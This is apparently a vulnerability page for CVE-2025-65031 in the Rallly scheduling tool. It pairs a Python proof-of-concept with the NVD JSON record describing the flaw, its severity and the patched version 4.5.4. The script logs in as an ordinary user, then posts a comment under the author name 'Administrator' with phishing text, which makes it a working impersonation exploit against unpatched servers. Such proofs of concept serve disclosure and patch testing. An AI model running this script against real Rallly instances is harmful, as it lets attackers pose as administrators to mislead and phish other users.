CVE-2025-65031

import requests import json # CVE-2025-65031 PoC - Rallly Authorization Bypass via authorName Manipulation # Target: Rallly < 4.5.4 TARGET_URL = "http://target.com" LOGIN_EMAIL = "[email protected]" LOGIN_PASSWORD = "attacker_password" EVENT_ID = "target-event-id" def exploit(): # Step 1: Login to get session session = requests.Session() login_data = { "email": LOGIN_EMAIL, "password": LOGIN_PASSWORD } session.post(f"{TARGET_URL}/api/auth/login", json=login_data) # Step 2: Create comment as administrator (impersonation) comment_data = { "eventId": EVENT_ID, "authorName": "Administrator", # Impersonate admin user "content": "This is a phishing message" } response = session.post( f"{TARGET_URL}/api/comments", json=comment_data ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-65031", "sourceIdentifier": "[email protected]", "published": "2025-11-19T18:15:50.743", "lastModified": "2025-11-25T15:34:01.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rallly is an open-source scheduling and collaboration tool. Prior to version 4.5.4, an improper authorization flaw in the comment creation endpoint allows authenticated users to impersonate any other user by altering the authorName field in the API request. This enables attackers to post comments under arbitrary usernames, including privileged ones such as administrators, potentially misleading other users and enabling phishing or social engineering attacks. This issue has been patched in version 4.5.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rallly:rallly:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.4", "matchCriteriaId": "05349176-CA4D-4360-A7E1-0EA2D8C24E7E"}]}]}], "references": [{"url": "https://github.com/lukevella/rallly/releases/tag/v4.5.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/lukevella/rallly/security/advisories/GHSA-hhfc-6gq7-rrpm", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}